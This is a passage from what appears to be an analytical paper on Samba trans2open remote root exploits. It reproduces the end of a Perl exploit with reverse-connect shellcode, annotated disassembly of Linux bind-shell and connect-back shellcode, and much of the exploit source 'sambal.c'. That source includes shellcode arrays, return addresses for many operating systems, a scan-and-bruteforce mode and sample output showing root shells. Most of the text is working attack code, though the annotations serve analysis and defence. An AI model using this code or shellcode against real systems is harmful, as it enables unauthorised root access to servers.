389     $IckAddr = pack("l", $IckAddr);
390
391     # IckAddr needs to point to a writable piece of memory
392
393     my ($a1, $a2, $a3, $a4) = split(/, gethostbyname($Host));
394     $a1 = chr(ord($a1) ^ 0x93);
395     $a2 = chr(ord($a2) ^ 0x93);
396     $a3 = chr(ord($a3) ^ 0x93);
397     $a4 = chr(ord($a4) ^ 0x93);
398
399     my ($p1, $p2) = split(/, reverse(pack("s", $Port)));
400     $p1 = chr(ord($p1) ^ 0x93);
401     $p2 = chr(ord($p2) ^ 0x93);
402
403     my $exploit =
404     # trigger the trans2open overflow
405     "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00".
406     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
407     "\x64\x00\x00\x00\x00\x00\x07\x0c\x00\x00\x07\x0c\x00\x00\x00\x00".
408     "\x00\x00\x00\x00\x00\x00\x0d\x07\x43\x00\x0c\x00\x14\x08\x01".
409     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
410     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90".
411
412     GetNops(830) .
413
414     # xor decoder courtesy of hsj
415     "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01".

```



```

416     "\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30".
417     "\x93\x40\xe2\xfa".
418
419     # reverse-connect, code by bighawk
420     "\xa2\x5a\x64\x72\xc2\xd2\xc2\xd2\xc2\x23\xf2\x5e\x13\x1a\x50".
421     "\xfb". $a1.$a2.$a3.$a4 ."\xf5\xfb". $p1.$p2.
422     "\xf5\xc2\x1a\x75\x21\x83\xc1\xc5\xc3\xc3\x23\xf1\x5e\x13\xd2\x23".
423     "\xc9\xda\xc2\xc0\xc0\x5e\x13\xd2\x71\x66\xc2\xfb\xbc\xbc\xe0\xfb".
424     "\xfb\xbc\xf1\xfa\xfd\x1a\x70\xc2\xc7\xc0\xc0\x23\xa8\x5e\x13".
425
426     GetNops(87) .
427
428     "010101".
429     $RetAddr.
430     $IckAddr.
431     $RetAddr.
432     $IckAddr.
433     "101010".
434
435     "DDI!". ("\x00" x 277);
436
437     return $exploit;
438 }
439
440 sub Unblock {
441     my $fd = shift;
442     my $flags;
443     $flags = fcntl($fd,F_GETFL,0) || die "Can't get flags for file handle: $!\n";
444     fcntl($fd, F_SETFL, $flags|O_NONBLOCK) || die "Can't make handle nonblocking: $!\n";
445 }
446
447 sub GoAway {
448     exit(0);
449 }
450
451 sub ReadResponse {
452     my ($s) = @_ ;
453     my $sel = IO::Select->new($s);
454     my $res;
455     my @fds = $sel->can_read(4);
456     foreach (@fds) { $res .= <$s>; }
457     return $res;
458 }
459
460 sub HexDump {
461     my ($data) = @_ ;
462     my @x = split(//, $data);
463     my $cnt = 0;
464
465     foreach my $h (@x)
466     {
467         if ($cnt > 16)
468         {
469             print "\n";
470             $cnt = 0;
471         }
472
473         printf("\x%.2x", ord($h));
474         $cnt++;
475     }
476     print "\n";
477 }
478
479 # thank you k2 ;)
480 sub GetNops {
481     my ($cnt) = @_ ;
482     my @nops = split(/,,"\x99\x96\x97\x95\x93\x91\x90\x4d\x48\x47\x4f\x40\x41\x37\x3f\x97".
483         "\x46\x4e\xf8\x92\xfc\x98\x27\x2f\x9f\xf9\x4a\x44\x42\x43\x49\x4b".
484         "\xf5\x45\x4c");
485     return join ("", @nops[ map { rand @nops } ( 1 .. $cnt )]);
486 }

```

## Appendix C Source Code for `sambal.c`

This appendix contains annotated source code for `sambal.c`.

Listings 3 and 4 are the disassembled source for the Linux back door shellcode and the Linux connect-back shellcode, respectively. Listing 5 is the source for `sambal.c`. Nothing about the source has been changed apart from adding comments and making small formatting changes to reduce line wrapping.

For Listings 3 and 4, disassembly was accomplished using the following procedure:

1. Copy the lines of shellcode data to a separate file, prepending the `".ascii"` assembler directive. For example, copy the following line of source from `sambal.c`:

```
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
```

to the separate file as:

```
.ascii "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
```

2. Prepend the following lines to the raw shellcode file:

```
.text  
.global _start  
_start:
```

3. Assemble the source using the following command line:

```
gcc -c -o shellcode.o raw-shellcodefile.s
```

4. Disassemble the shellcode object file using the following command line:

```
objdump -D -M suffix shellcode.o
```

### **Listing 3: Back door shellcode for Linux**

```
1  xorl   %eax,%eax  
2  xorl   %ebx,%ebx  
3  xorl   %ecx,%ecx  
4  movb   $0x46,%al  
5  int    $0x80           # sys_setreuid16(0,0): Set UID to root  
6  xorl   %eax,%eax  
7  xorl   %ebx,%ebx  
8  xorl   %ecx,%ecx  
9  pushl  %ecx           # push 0x0 (An extra zero on the stack?)  
10 movb   $0x6,%cl  
11 pushl  %ecx           # push 0x6  
12 movb   $0x1,%cl  
13 pushl  %ecx           # push 0x1
```

```

14  movb  $0x2,%c1
15  pushl %ecx          # push 0x2
16  movl  %esp,%ecx
17  movb  $0x1,%b1     # ebx = 0x1 (get ready to call sys_socket)
18  movb  $0x66,%a1    # eax = 0x66 (to call a socket function)
19  int   $0x80        # sys_socket(AF_INET, SOCK_STREAM, <tcp>)
20  movl  %eax,%ecx    # ecx = socket descriptor.
21  xorl  %eax,%eax    # eax = 0
22  xorl  %ebx,%ebx    # ebx = 0
23  pushl %eax         # push 0 \ struct sockaddr.sa_data
24  pushl %eax         # push 0 > aka sockaddr_in
25  pushl %eax         # push 0 / Address 0 (wildcard)
26  pushw $0xefb0     # push 61360 / Port 45295, net byte order
27  movb  $0x2,%b1
28  pushw %bx         # push 0x2 (struct sockaddr.sa_family=AF_INET)
29  movl  %esp,%edx    # edx = stack pointer (to struct sockaddr)
30  movb  $0x10,%b1
31  pushl %ebx         # push 0x0010 (addrlen)
32  movb  $0x2,%b1     # ebx = 0x2 (get ready to call sys_bind)
33  pushl %edx         # push pointer to struct sockaddr
34  pushl %ecx         # push socket descriptor
35  movl  %ecx,%edx    # edx = socket descriptor
36  movl  %esp,%ecx    # ecx = stack pointer
37  movb  $0x66,%a1    # eax = 0x66 (to call a socket function)
38  int   $0x80        # sys_bind(sockfd, *:45295, addrlen)
39  xorl  %ebx,%ebx
40  cmpl  %eax,%ebx    # Compare eax to zero
41  je    bind_succeeded # If bind succeeded go to 4f <_start+0x4f>
42  xorl  %eax,%eax
43  incl  %eax
44  int   $0x80        # sys_exit(0) because bind failed.
45 bind_succeeded:   # 4f
46  xorl  %eax,%eax
47  pushl %eax         # push 0
48  pushl %edx         # push socket descriptor
49  movl  %esp,%ecx    # ecx = pointer to socket descriptor
50  movb  $0x4,%b1     # eab = 0x4 (get ready to call sys_listen)
51  movb  $0x66,%a1    # eax = 0x66 (to call a socket function)
52  int   $0x80        # sys_listen(sockd, 0)
53  movl  %edx,%edi    # edi = sockd
54  xorl  %eax,%eax
55  xorl  %ebx,%ebx
56  xorl  %ecx,%ecx
57  movb  $0x11,%b1    # ebx = 0x11
58  movb  $0x1,%c1     # ecx = 0x1
59  movb  $0x30,%a1    # eax = 0x30
60  int   $0x80        # sys_signal(SIGCHLD, SIG_IGN)
61 accept_loop:     # 6b
62  xorl  %eax,%eax
63  xorl  %ebx,%ebx
64  pushl %eax         # push 0
65  pushl %eax         # push 0
66  pushl %edi         # push sockd
67  movl  %esp,%ecx    # ecx = stack pointer
68  movb  $0x5,%b1
69  movb  $0x66,%a1
70  int   $0x80        # sys_accept(sockd, NULL, NULL)

```

```

71  movl    %eax,%esi          # esi = accepted socket descriptor (acsock)
72  xorl    %eax,%eax
73  xorl    %ebx,%ebx
74  movb    $0x2,%al
75  int     $0x80              # sys_fork()
76  cmpl    %eax,%ebx
77  jne     parent_fork       # If we are the parent, go to c8 <_start+0xc8>
78  xorl    %eax,%eax
79  movl    %edi,%ebx         # ebx = listening socket descriptor (sockd)
80  movb    $0x6,%al
81  int     $0x80              # sys_close(sockd)
82  xorl    %eax,%eax
83  xorl    %ecx,%ecx
84  movl    %esi,%ebx         # ebx = accepted socket descriptor (acsock)
85  movb    $0x3f,%al
86  int     $0x80              # sys_dup2(acsock, stdin)
87  xorl    %eax,%eax
88  incl    %ecx
89  movb    $0x3f,%al
90  int     $0x80              # sys_dup2(acsock, stdout)
91  xorl    %eax,%eax
92  incl    %ecx
93  movb    $0x3f,%al
94  int     $0x80              # sys_dup2(acsock, stderr)
95  xorl    %eax,%eax
96  pushl   %eax               # push NULL (aka ASCII "\0\0\0\0")
97  pushl   $0x68732f2f        # push ASCII "hs//"
98  pushl   $0x6e69622f        # push ASCII "nib/"
99  movl    %esp,%ebx         # ebx = pointer to "/bin//sh\0"
100 movl   0x8(%esp,1),%edx    # edx = pointer to "\0\0\0\0"
101 pushl   %eax               # push NULL
102 pushl   %ebx               # push pointer to "/bin//sh\0\0\0\0"
103 movl    %esp,%ecx         # ecx = stack pointer
104 movb    $0xb,%al
105 int     $0x80              # sys_execve("/bin//sh", ["/bin//sh",NULL], [NULL])
106 xorl    %eax,%eax
107 incl    %eax
108 int     $0x80              # sys_exit(%ebx) (nonzero exit status)
109 parent_fork:
110 xorl    %eax,%eax
111 movl    %esi,%ebx         # ebx = accepted socket descriptor (acsock)
112 movb    $0x6,%al
113 int     $0x80              # sys_close(acsock)
114 jmp     accept_loop        # 6b <_start+0x6b>

```

#### **Listing 4: Connect-back shellcode for Linux**

```

1  xorl    %eax,%eax
2  xorl    %ebx,%ebx
3  xorl    %ecx,%ecx
4  movb    $0x46,%al
5  int     $0x80              # sys_setreuid(0,0): Set UID to root
6  xorl    %eax,%eax
7  xorl    %ebx,%ebx
8  xorl    %ecx,%ecx
9  pushl   %ecx               # push 0x0 (An extra zero on the stack?)
10 movb    $0x6,%cl

```

```

11  pushl  %ecx          # push 0x6
12  movb   $0x1,%c1
13  pushl  %ecx          # push 0x1
14  movb   $0x2,%c1
15  pushl  %ecx          # push 0x2
16  movl   %esp,%ecx     # ecx = stack pointer
17  movb   $0x1,%b1
18  movb   $0x66,%a1
19  int    $0x80         # sys_socket(AF_INET, SOCK_STREAM, <tcp>)
20  movl   %eax,%edx     # edx = socket descriptor (sockd)
21  xorl   %eax,%eax
22  xorl   %ecx,%ecx
23  pushl  %ecx          # push 0x0 \ struct sockaddr.sa_data
24  pushl  %ecx          # push 0x0 \ aka sockaddr_in
25  addr_2a:             # >
26  pushl  $0x44434241   # / IP addr at 0x2b (43 decimal)
27  pushw  $0xefb0        # push 61360 / Port 45295, net byte order
28  movb   $0x2,%c1
29  pushw  %cx           # push 0x2 (struct sockaddr.sa_family=AF_INET)
30  movl   %esp,%edi     # edi = pointer to struct sockaddr
31  movb   $0x10,%b1
32  pushl  %ebx          # push 0x10
33  pushl  %edi          # push pointer to struct sockaddr
34  pushl  %edx          # push socket descriptor (sockd)
35  movl   %esp,%ecx     # ecx = stack pointer
36  movb   $0x3,%b1     # ebx = 0x3 (get ready to call sys_connect)
37  movb   $0x66,%a1     # eax = 0x66 (to call a socket function)
38  int    $0x80         # sys_connect(sockd, struct sockaddr, addrlen)
39  xorl   %ecx,%ecx
40  cmpl   %eax,%ecx
41  je     connect_succeeded # If connect succeeded, goto 52 <_start+0x52>
42  xorl   %eax,%eax
43  movb   $0x1,%a1
44  int    $0x80         # sys_exit(%ebx = nonzero)
45  connect_succeeded:
46  xorl   %eax,%eax
47  movb   $0x3f,%a1
48  movl   %edx,%ebx     # ebx = sockd
49  int    $0x80         # sys_dup2(sockd, stdin)
50  xorl   %eax,%eax
51  movb   $0x3f,%a1
52  movl   %edx,%ebx
53  movb   $0x1,%c1
54  int    $0x80         # sys_dup2(sockd, stdout)
55  xorl   %eax,%eax
56  movb   $0x3f,%a1
57  movl   %edx,%ebx
58  movb   $0x2,%c1
59  int    $0x80         # sys_dup2(sockd, stderr)
60  xorl   %eax,%eax
61  xorl   %edx,%edx
62  pushl  %eax          # push NULL (aka ASCII "\0\0\0\0")
63  pushl  $0x68732f6e   # push ASCII "hs/n"
64  pushl  $0x69622f2f   # push ASCII "ib//"
65  movl   %esp,%ebx     # ebx = pointer to "//bin/sh"
66  pushl  %eax          # push NULL
67  pushl  %ebx          # push pointer to "//bin/sh"

```



```

51
52 sambal.c is able to identify samba boxes. It will send a netbios
53 name packet to port 137. If the box responds with the mac address
54 00-00-00-00-00-00, it's probably running samba.
55
56 [esdee@embrace esdee]$ ./sambal -d 0 -C 60 -S 192.168.0
57 samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
58 -----
59 + Scan mode.
60 + [192.168.0.3] Samba
61 + [192.168.0.10] Windows
62 + [192.168.0.20] Windows
63 + [192.168.0.21] Samba
64 + [192.168.0.30] Windows
65 + [192.168.0.31] Samba
66 + [192.168.0.33] Windows
67 + [192.168.0.35] Windows
68 + [192.168.0.36] Windows
69 + [192.168.0.37] Windows
70 ...
71 + [192.168.0.133] Samba
72
73 Great!
74 You could now try a preset (-t0 for a list), but most of the
75 time bruteforce will do. The smbd spawns a new process on every
76 connect, so we can bruteforce the return address...
77
78 [esdee@embrace esdee]$ ./sambal -b 0 -v 192.168.0.133
79 samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
80 -----
81 + Verbose mode.
82 + Bruteforce mode. (Linux)
83 + Using ret: [0xbffffed4]
84 + Using ret: [0xbffffda8]
85 + Using ret: [0xbffffc7c]
86 + Using ret: [0xbffffb50]
87 + Using ret: [0xbffffa24]
88 + Using ret: [0xbffff8f8]
89 + Using ret: [0xbffff7cc]
90 + Worked!
91 -----
92 *** JE MOET JE MUIL HOUWE
93 Linux LittleLinux.selwerd.lan 2.4.18-14 #1 Wed Sep 4 11:57:57 EDT 2002 i586
i586 i386 GNU/Linux
94 uid=0(root) gid=0(root) groups=99(nobody)
95
96
97 [*] Credits
98
99 lynx, mike, powerpork, sacrine, the_itch, tozz
100 nol (i ripped some parts from a subnet scanner)
101
102
103 */
104
105 #include <stdio.h>
106 #include <string.h>
107 #include <stdlib.h>
108 #include <netdb.h>
109 #include <errno.h>
110 #include <fcntl.h>
111 #include <signal.h>
112 #include <string.h>

```

```

113 #include <unistd.h>
114 #include <sys/select.h>
115 #include <sys/socket.h>
116 #include <sys/types.h>
117 #include <sys/time.h>
118 #include <sys/wait.h>
119 #include <netinet/in.h>
120 #include <arpa/inet.h>
121
122 /* BCD: Note: For NETBIOS_HEADER and SMB_HEADER, code further down
123  * BCD: assumes that these structs will be mapped into memory with
124  * BCD: the fields in the precise order shown, with no padding between
125  * BCD: fields. Such code won't work if the compiler adds any padding
126  * BCD: for boundary alignment or tries to optimize the order.
127  */
128 typedef struct {
129     unsigned char type;
130     unsigned char flags;
131     unsigned short length;
132 } NETBIOS_HEADER;
133
134 typedef struct {
135     unsigned char protocol[4];
136     unsigned char command;
137     unsigned short status;
138     unsigned char reserved;
139     unsigned char flags;
140     unsigned short flags2;
141     unsigned char pad[12];
142     unsigned short tid;
143     unsigned short pid;
144     unsigned short uid;
145     unsigned short mid;
146 } SMB_HEADER;
147
148 int OWNED = 0;
149 pid_t childs[100];
150 struct sockaddr_in addr1;
151 struct sockaddr_in addr2;
152
153 char
154 linux_bindcode[] =
155     "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
156     "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
157     "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
158     "\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
159     "\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
160     "\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
161     "\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
162     "\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
163     "\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
164     "\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
165     "\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
166     "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
167     "\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
168     "\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
169
170 char
171 bsd_bindcode[] =
172     "\x31\xc0\x50\x50\x50\xb0\x17\xcd\x80"
173     "\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0"
174     "\x61\xcd\x80\x89\xc7\x31\xc0\x50\x50\x50\x66\x68\xb0\xef\xb7\x02"
175     "\x66\x53\x89\xe1\x31\xdb\xb3\x10\x53\x51\x57\x50\xb0\x68\xcd\x80"

```



```

176     "\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x50\x57"
177     "\x50\xb0\x6a\xcd\x80\x31\xc0\x31\xdb\x50\x89\xe1\xb3\x01\x53\x89"
178     "\xe2\x50\x51\x52\xb3\x14\x53\x50\xb0\x2e\xcd\x80\x31\xc0\x50\x50"
179     "\x57\x50\xb0\x1e\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
180     "\x39\xc3\x75\x44\x31\xc0\x57\x50\xb0\x06\xcd\x80\x31\xc0\x50\x56"
181     "\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x56\x50\xb0\x5a\xcd"
182     "\x80\x31\xc0\x43\x53\x56\x50\xb0\x5a\xcd\x80\x31\xc0\x50\x68\x2f"
183     "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b"
184     "\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x56\x50\xb0\x06\xcd\x80"
185     "\xeb\x9a";
186
187 char
188 linux_connect_back[] =
189     "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
190     "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
191     "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x31\xc9\x51\x51"
192     "\x68\x41\x42\x43\x44\x66\x68\xb0\xef\xb1\x02\x66\x51\x89\xe7\xb3"
193     "\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
194     "\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
195     "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
196     "\xb1\x02\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f"
197     "\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
198     "\x01\xcd\x80";
199
200 char
201 bsd_connect_back[] =
202     "\x31\xc0\x50\x50\x50\xb0\x17\xcd\x80"
203     "\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0"
204     "\x61\xcd\x80\x31\xd2\x52\x52\x68\x41\x41\x41\x41\x66\x68\xb0\xef"
205     "\xb7\x02\x66\x53\x89\xe1\xb2\x10\x52\x51\x50\x52\x89\xc2\x31\xc0"
206     "\xb0\x62\xcd\x80\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80"
207     "\x31\xc0\x50\x52\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x52"
208     "\x50\xb0\x5a\xcd\x80\x31\xc0\x43\x53\x52\x50\xb0\x5a\xcd\x80\x31"
209     "\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54"
210     "\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
211
212
213 struct {
214     char *type;
215     unsigned long ret;
216     char *shellcode;
217     int os_type;          /* 0 = Linux, 1 = FreeBSD/NetBSD,
218                          2 = OpenBSD non-exec stack */
219 } targets[] = {
220     { "samba-2.2.x - Debian 3.0",          0xbffffea2, linux_bindcode, 0 },
221     { "samba-2.2.x - Gentoo 1.4.x",        0xbfffe890, linux_bindcode, 0 },
222     { "samba-2.2.x - Mandrake 8.x",        0xbffff6a0, linux_bindcode, 0 },
223     { "samba-2.2.x - Mandrake 9.0",        0xbffff638, linux_bindcode, 0 },
224     { "samba-2.2.x - Redhat 9.0",          0xbffff7cc, linux_bindcode, 0 },
225     { "samba-2.2.x - Redhat 8.0",          0xbffff2f0, linux_bindcode, 0 },
226     { "samba-2.2.x - Redhat 7.x",          0xbffff310, linux_bindcode, 0 },
227     { "samba-2.2.x - Redhat 6.x",          0xbffff2f0, linux_bindcode, 0 },
228     { "samba-2.2.x - Slackware 9.0",       0xbffff574, linux_bindcode, 0 },
229     { "samba-2.2.x - Slackware 8.x",       0xbffff574, linux_bindcode, 0 },
230     { "samba-2.2.x - SuSE 7.x",            0xbffffbe6, linux_bindcode, 0 },
231     { "samba-2.2.x - SuSE 8.x",            0xbffff8f8, linux_bindcode, 0 },
232     { "samba-2.2.x - FreeBSD 5.0",         0xbfbff374, bsd_bindcode, 1 },
233     { "samba-2.2.x - FreeBSD 4.x",         0xbfbff374, bsd_bindcode, 1 },
234     { "samba-2.2.x - NetBSD 1.6",          0xbfbfd5d0, bsd_bindcode, 1 },
235     { "samba-2.2.x - NetBSD 1.5",          0xbfbfd520, bsd_bindcode, 1 },
236     { "samba-2.2.x - OpenBSD 3.2",         0x00159198, bsd_bindcode, 2 },
237     { "samba-2.2.8 - OpenBSD 3.2 (package)", 0x001dd258, bsd_bindcode, 2 },
238     { "samba-2.2.7 - OpenBSD 3.2 (package)", 0x001d9230, bsd_bindcode, 2 },

```

```

239     { "samba-2.2.5 - OpenBSD 3.2 (package)", 0x001d6170, bsd_bindcode,      2 },
240     { "Crash (All platforms)", 0xbade5dee, linux_bindcode,      0 },
241 };
242
243 /*****
244 /* BCD: C function prototypes section. For a description of what each function
245 * BCD: does, see the comments accompanying the function definitions farther
246 * BCD: down.
247 */
248
249 void shell();
250 void usage();
251 void handler();
252
253 int is_samba(char *ip, unsigned long time_out);
254 int Connect(int fd, char *ip, unsigned int port, unsigned int time_out);
255 int read_timer(int fd, unsigned int time_out);
256 int write_timer(int fd, unsigned int time_out);
257 int start_session(int sock);
258 int exploit_normal(int sock, unsigned long ret, char *shellcode);
259 int exploit_openbsd32(int sock, unsigned long ret, char *shellcode);
260
261 /*****
262 /* BCD: Print out program usage information.
263 */
264 void usage(char *prog)
265 {
266     fprintf(stderr, "Usage: %s [-bBcCdfprsStv] [host]\n\n"
267             "-b <platform>    bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, "
268             "2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)\n"
269             "-B <step>          bruteforce steps (default = 300)\n"
270             "-c <ip address>    connectback ip address\n"
271             "-C <max childs>    max childs for scan/bruteforce mode "
272             "(default = 40)\n"
273             "-d <delay>        bruteforce/scanmode delay in micro seconds "
274             "(default = 100000)\n"
275             "-f                force\n"
276             "-p <port>         port to attack (default = 139)\n"
277             "-r <ret>         return address\n"
278             "-s                scan mode (random)\n"
279             "-S <network>     scan mode\n"
280             "-t <type>        presets (0 for a list)\n"
281             "-v                verbose mode\n\n", prog);
282
283     exit(1);
284 }
285
286 /*****
287 /* BCD: Given an IP address and a timeout in seconds, attempt to determine
288 * BCD: whether a remote Samba server can be reached. Return -1 if a server
289 * BCD: cannot be reached. Return 0 if a remote server is responds and
290 * BCD: appears to be Samba. Return 1 if a remote server responds but
291 * BCD: does not appear Samba-like.
292 *
293 * BCD: The method used is as follows: send a "Node Status" query to
294 * BCD: the host's NetBIOS Name Service (NBNS), and read the response.
295 * BCD: Skip past the list of node names in the response, and check the
296 * BCD: first six bytes of statistics. If they are all zeroes, then
297 * BCD: assume the NBNS is Samba; Windows hosts typically put an
298 * BCD: Ethernet MAC address in this space.
299 *
300 * BCD: This function performs a weak check; if tested against a
301 * BCD: non-SMB service on UDP port 137, there is a fair chance that it

```

```

302  * BCD: would register as Samba. This is because we assume without checking
303  * BCD: that the response will always be at least 63 bytes long, or even
304  * BCD: longer if the 57th byte is greater than zero.
305  */
306
307  int is_samba(char *ip, unsigned long time_out)
308  {
309      char
310          nbtdname[] = /* netbios name packet */
311          {
312              0x80, 0xf0, 0x00, 0x10, 0x00, 0x01, 0x00, 0x00,
313              0x00, 0x00, 0x00, 0x00, 0x20, 0x43, 0x4b, 0x41,
314              0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
315              0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
316              0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
317              0x41, 0x41, 0x41, 0x41, 0x41, 0x00, 0x00, 0x21,
318              0x00, 0x01
319          };
320
321      unsigned char recv_buf[1024];
322      unsigned char *ptr;
323
324      int i = 0;
325      int s = 0;
326
327      unsigned int total = 0;
328
329      /* BCD: Create socket for UDP communications. */
330      if ((s = socket(PF_INET, SOCK_DGRAM, 17)) <= 0) return -1;
331
332      /* BCD: Establish a connection to UDP port 137. */
333      if (connect(s, ip, 137, time_out) == -1) {
334          close(s);
335          return -1;
336      }
337
338      memset(recv_buf, 0x00, sizeof(recv_buf));
339
340      /* BCD: Wait for the socket to be ready for writing, then send
341      * BCD: the nbtdname packet.
342      */
343      if (write_timer(s, time_out) == 1) {
344          if (write(s, nbtdname, sizeof(nbtdname)) <= 0) {
345              close(s);
346              return -1;
347          }
348      }
349
350      /* BCD: Wait for the socket to be ready for reading, then read
351      * BCD: the response.
352      */
353      if (read_timer(s, time_out) == 1) {
354          if (read(s, recv_buf, sizeof(recv_buf)) <= 0) {
355              close(s);
356              return -1;
357          }
358
359          /* BCD: We assume we received at least 57 bytes of data,
360          * BCD: and record the 8-bit value of the 57th octet as the
361          * BCD: "total" max names.
362          */
363          ptr = recv_buf + 57;
364          total = *(ptr - 1); /* max names */

```

```

365
366 /* BCD: Step through the recv_buf in increments of 18, until we
367 * BCD: have either incremented total times, or stepped outside
368 * BCD: the recv_buf area. Then back up a little and check the
369 * BCD: start of the statistics area for six zero bytes. (Seems
370 * BCD: over-complicated to have a loop here. A couple lines of
371 * BCD: arithmetic would be more concise.)
372 */
373 while(ptr < recv_buf + sizeof(recv_buf)) {
374     ptr += 18;
375     if (i == total) {
376
377         ptr -= 19;
378
379         if ( *(ptr + 1) == 0x00 && *(ptr + 2) == 0x00 &&
380             *(ptr + 3) == 0x00 && *(ptr + 4) == 0x00 &&
381             *(ptr + 5) == 0x00 && *(ptr + 6) == 0x00) {
382             close(s);
383             return 0; /* BCD: Samba detected. */
384         }
385
386         /* BCD: Whatever answered on UDP port 137 was
387 * BCD: not Samba.
388 */
389         close(s);
390         return 1;
391     }
392     i++;
393 }
394
395 }
396 close(s);
397 return -1;
398 }
399
400 /*****
401 /* BCD: Given a TCP or UDP socket descriptor, a remote IP address and port
402 * BCD: number, and a timeout in seconds, attempt to establish a connection
403 * BCD: to the remote host. On success, return 1. On failure, close the
404 * BCD: socket and return -1.
405 */
406 int Connect(int fd, char *ip, unsigned int port, unsigned int time_out)
407 {
408     /* ripped from nol */
409
410     int flags;
411     int select_status;
412     fd_set connect_read, connect_write;
413     struct timeval timeout;
414     int getsockopt_length = 0;
415     int getsockopt_error = 0;
416     struct sockaddr_in server;
417
418     /* BCD: Fill in a struct sockaddr with the IP address and port,
419 * BCD: so they can be passed to connect(2) in the required format.
420 */
421     bzero(&server, sizeof(server));
422     server.sin_family = AF_INET;
423     inet_pton(AF_INET, ip, &server.sin_addr);
424     server.sin_port = htons(port);
425
426     /* BCD: Raise the nonblocking flag for the socket descriptor. */
427     if((flags = fcntl(fd, F_GETFL, 0)) < 0) {

```

```

428     close(fd);
429     return -1;
430 }
431
432 if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
433     close(fd);
434     return -1;
435 }
436
437 /* BCD: Make the timeout and read and write sets ready to use
438  * BCD: with select(2), which appears a little further down.
439  */
440 timeout.tv_sec = time_out;
441 timeout.tv_usec = 0;
442 FD_ZERO(&connect_read);
443 FD_ZERO(&connect_write);
444 FD_SET(fd, &connect_read);
445 FD_SET(fd, &connect_write);
446
447 /* BCD: Initialize a connection to the remote host. */
448 if((connect(fd, (struct sockaddr *) &server, sizeof(server))) < 0) {
449     /* BCD: If any error other than EINPROGRESS is returned, then
450     * BCD: there probably isn't a reachable remote service.
451     * BCD: (EINPROGRESS means the connection was still being set up
452     * BCD: when connect(2) returned.)
453     */
454     if(errno != EINPROGRESS) {
455         close(fd);
456         return -1;
457     }
458 }
459 else {
460     /* BCD: Attempt to return the flags to their original state. */
461     if(fcntl(fd, F_SETFL, flags) < 0) {
462         close(fd);
463         return -1;
464     }
465     return 1; /* BCD: SUCCESS: the connection is established. */
466 }
467
468 /* BCD: If we get this far, it means that the connection was still
469  * BCD: in progress when connect(2) returned. Therefore we use
